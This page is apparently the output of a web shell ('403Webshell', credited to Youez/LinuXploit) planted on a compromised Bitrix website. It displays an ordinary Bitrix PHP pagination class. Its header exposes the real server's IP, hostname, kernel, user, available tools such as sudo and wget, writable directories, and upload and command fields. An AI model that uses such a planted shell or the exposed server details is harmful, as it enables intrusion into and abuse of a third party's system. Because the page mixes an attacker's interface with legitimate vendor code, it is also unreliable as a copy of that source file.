403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/grid/action/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/grid/action/paginationaction.php
<?php

namespace Bitrix\Main\Grid\Action;

use Bitrix\Main\Grid\Pagination\PageNavigationStorage;
use Bitrix\Main\HttpRequest;
use Bitrix\Main\Result;
use Bitrix\Main\UI\PageNavigation;

/**
 * Pagination grid action.
 *
 * Changes current page and saves it to storage, for correct working interactive grid cells (for example, using components).
 */
final class PaginationAction implements Action
{
	private PageNavigation $pagination;
	private ?PageNavigationStorage $storage;

	/**
	 * @inheritDoc
	 *
	 * @return string
	 */
	public static function getId(): string
	{
		return 'pagination';
	}

	/**
	 * @param PageNavigation $pagination
	 * @param PageNavigationStorage|null $storage if not setted, action only change page.
	 */
	public function __construct(PageNavigation $pagination, ?PageNavigationStorage $storage)
	{
		$this->pagination = $pagination;
		$this->storage = $storage;
	}

	/**
	 * @inheritDoc
	 *
	 *  and saves this in storage.
	 *
	 * @param HttpRequest $request
	 *
	 * @return Result|null
	 */
	public function processRequest(HttpRequest $request): ?Result
	{
		if (\Bitrix\Main\Context::getCurrent()->getRequest() !== $request)
		{
			trigger_error('Pagination working only request from context', E_USER_WARNING);
		}

		$tmp = clone $this->pagination;
		$tmp->setCurrentPage(1);
		$tmp->initFromUri();

		if ($this->pagination->getCurrentPage() !== $tmp->getCurrentPage())
		{
			$this->pagination->setCurrentPage($tmp->getCurrentPage());

			if (isset($this->storage))
			{
				$this->storage->save($this->pagination);
			}
		}

		return new Result();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit